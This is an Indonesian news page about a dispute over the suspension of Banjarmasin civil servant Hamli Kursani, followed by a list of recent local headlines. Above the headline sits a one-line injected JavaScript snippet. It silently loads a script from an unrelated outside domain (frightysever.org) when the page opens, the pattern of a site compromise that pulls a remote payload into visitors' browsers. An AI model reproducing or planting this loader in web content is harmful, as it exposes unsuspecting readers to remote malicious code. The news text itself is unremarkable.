(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ujung Pangkal ‘Perang’ Wali Kota Banjarmasin vs Ombudsman Kalsel


Pijakan hukum pembebasan sementara itu dari bunyi SK Walikota Banjarmasin adalah Pasal 27 ayat (1) PP Nomor 53 Tahun 2010 tentang Disiplin Pegawai Negeri Sipil untuk kemudahan proses pemeriksaan khusus dari Inspektorat terhadap Hamli Kursani.

Atas pencopotan dirinya, Hamli Kursani sempat mengadu ke Komisi Aparatur Sipil Negara (KASN) dan Kementerian Dalam Negeri (Kemendagri). Tak bisa dipungkiri, langkah yang dilakukan Hamli akan membuat ‘ring 1’ pemerintahan kota Banjarmasin memanas. Apalagi dengan mulai munculnya pro kontra atas upaya yang dilakukan.

Sebelumnya, Hamli mengutip pernyataan pejabat Ditjen Otda dan Itjen Kemendagri yang akan memanggil dua pejabat Pemkot Banjarmasin. Mereka adalah Kepala Badan Kepegawaian Daerah dan Diklat Kota Banjarmasin, Syafri Azmi dan Kepala Inspektorat Banjarmasin, James Fudhoil Yamin. Dua pejabat ini,  yang menurut Hamli menjadi pijakan bagi Walikota Ibnu Sina menerbitkan surat keputusan penonaktifkan sementara dirinya.

Kejanggalan yang dirasakan Hamli seperti pengaduan ke KASN dan Kemendagri adalah berlakunya SK Walikota Banjarmasin bernomor 880/002-KUM.DIS/BKD,DIKLAT/2018, berlaku efektif tertanggal 10 April 2018. Sedangkan, Hamli Kursani sebagai terperiksa baru dimintai keterangan oleh Inspektorat Banjarmasin pada 16 April 2018.

“Dari keterangan pejabat Kemendagri hal ini dianggap bertentangan dengan Pasal 27 ayat (1) PP Nomor 53 Tahun 2010 tentang Disiplin PNS yang mengamanatkan berlakunya pembebasan sementara itu sejak yang bersangkutan diperiksa,” ucap Hamli.

Terkait apa yang disampaikan Hamli, Kepala Dinas Perhubungan Kota Banjarmasin Ichwan Noor Chalik angkat bicara. Dia balik menuding bahwa orang yang memberi komentar itu tidak mengerti aturan-aturan. “Apa yang diinstruksikan oleh Inspektorat Banjarmasin sudah jelas.  Alurnya sudah sesuai dengan aturan. Tidak mungkin Pasal 27 ayat (1) PP Nomor 53 Tahun 2010 tentang Disiplin PNS itu tidak diberlakukan,”  kata Ichwan Noor Chalik.

Ditegaskannya, yang dimaksud terperiksa dibebastugaskan sementara adalah ketika para saksi-saksi untuk membuktikan dugaan pelanggaran disiplin yang dilakukan Hamli Kursani sudah diperiksa pihak Inspektorat Banjarmasin. “Jadi bukan terhitung pembebasan sementara itu saat yang bersangkutan diperiksa,” cetus Ichwan.

Dalam kamus Ichwan, saat proses pemeriksaan sudah berjalan itulah yang dimaksud waktu pemeriksaan. “Itulah waktu pemeriksaan, kan lucu. Jadi, memahami hukum tak bisa seperti itu. Pembebasan tugas itu dilakukan pada saat pemeriksaan saksi, jadi ketika sudah diperiksa dan ternyata ada indikasi pelanggaran berat, kemudian ditinjaklanjuti oleh Inspektorat berdasarkan perintah dari Walikota Banjarmasin,” paparnya.(ammar)

Reporter: Ammar
Editor: Cell

Page: 1 2

Desy Arfianty

Recent Posts

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

14 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

17 jam ago

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

19 jam ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

19 jam ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

20 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

20 jam ago

This website uses cookies.